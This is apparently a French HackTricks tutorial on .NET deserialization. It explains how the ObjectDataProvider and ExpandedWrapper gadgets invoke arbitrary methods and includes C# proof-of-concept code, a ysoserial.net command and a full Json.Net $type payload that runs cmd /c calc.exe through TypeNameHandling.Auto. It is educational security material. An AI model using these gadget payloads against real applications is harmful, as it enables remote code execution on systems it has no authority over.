Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Ce post est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir une RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.

Gadget ObjectDataProvider

D'après la documentation : la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison. Oui, c'est une explication étrange, voyons donc ce que cette classe a d'intéressant : Cette classe permet de envelopper un objet arbitraire, d'utiliser MethodParameters pour définir des paramètres arbitraires, puis d'utiliser MethodName pour appeler une fonction arbitraire de l'objet arbitraire déclaré en utilisant les paramètres arbitraires. Par conséquent, l'objet arbitraire exécutera une fonction avec des paramètres tout en étant désérialisé.

Comment est-ce possible

L'espace de noms System.Windows.Data, trouvé dans le fichier PresentationFramework.dll à C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, est l'endroit où l'ObjectDataProvider est défini et implémenté.

En utilisant dnSpy, vous pouvez inspecter le code de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode

Comme vous pouvez le constater, lorsque MethodName est défini, base.Refresh() est appelé, regardons ce qu'il fait :

D'accord, continuons à voir ce que fait this.BeginQuery(). BeginQuery est remplacé par ObjectDataProvider et voici ce qu'il fait :

Notez qu'à la fin du code, il appelle this.QueryWorke(null). Voyons ce que cela exécute :

Notez que ce n'est pas le code complet de la fonction QueryWorker mais cela montre la partie intéressante : Le code appelle this.InvokeMethodOnInstance(out ex); c'est la ligne où la méthode définie est invoquée.

Si vous voulez vérifier que simplement en définissant le MethodName, il sera exécuté, vous pouvez exécuter ce code :

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Notez que vous devez ajouter comme référence C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll afin de charger System.Windows.Data

ExpandedWrapper

En utilisant l'exploit précédent, il y aura des cas où l'objet va être désérialisé en tant qu'instance d'ObjectDataProvider (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant GetType). Ensuite, nous n'aurons aucune connaissance du type d'objet encapsulé dans l'instance ObjectDataProvider (Process par exemple). Vous pouvez trouver plus d'informations sur la vulnérabilité DotNetNuke ici.

Cette classe permet de spécifier les types d'objets encapsulés dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (ObjectDataProvider) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (ObjectDataProvider.MethodName et ObjectDataProvider.MethodParameters). Cela est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure d'envelopper l'ObjectDataProvider dans une instance de ExpandedWrapper et lors de la désérialisation de cette classe, elle créera l'objet OjectDataProvider qui exécutera la fonction indiquée dans MethodName.

Vous pouvez vérifier ce wrapper avec le code suivant:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Sur la page web officielle, il est indiqué que cette bibliothèque permet de sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET. Ainsi, si nous pouvions désérialiser le gadget ObjectDataProvider, nous pourrions provoquer une RCE simplement en désérialisant un objet.

Exemple Json.Net

Tout d'abord, voyons un exemple sur la façon de sérialiser/désérialiser un objet en utilisant cette bibliothèque :

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abus de Json.Net

En utilisant ysoserial.net, j'ai créé l'exploit :

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Dans ce code, vous pouvez tester l'exploit, il vous suffit de l'exécuter et vous verrez qu'une calculatrice est exécutée :

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Dernière mise à jour